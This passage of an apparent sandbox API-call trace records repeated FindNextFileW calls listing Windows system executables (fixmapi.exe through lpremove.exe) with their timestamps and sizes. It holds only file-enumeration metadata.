FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="help.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0164.362] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="label.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbb1543, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x1fbb1543, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="LocationNotifications.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Locator.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d2773, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x83d2773, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe5c12f90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="lodctr.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52359975, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52359975, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe5c85b80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="logagent.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ce93f1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84ce93f1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d0f551, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="logman.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2baa022, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2baa022, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2bd0183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="logoff.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f930d6e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f930d6e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f956ece, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="LogonUI.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f611088, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f611088, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6371e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9f800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="lpksetup.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a2b8b4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x93a2b8b4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="lpremove.exe", cAlternateFileName="")) returned 1 [0164.363] 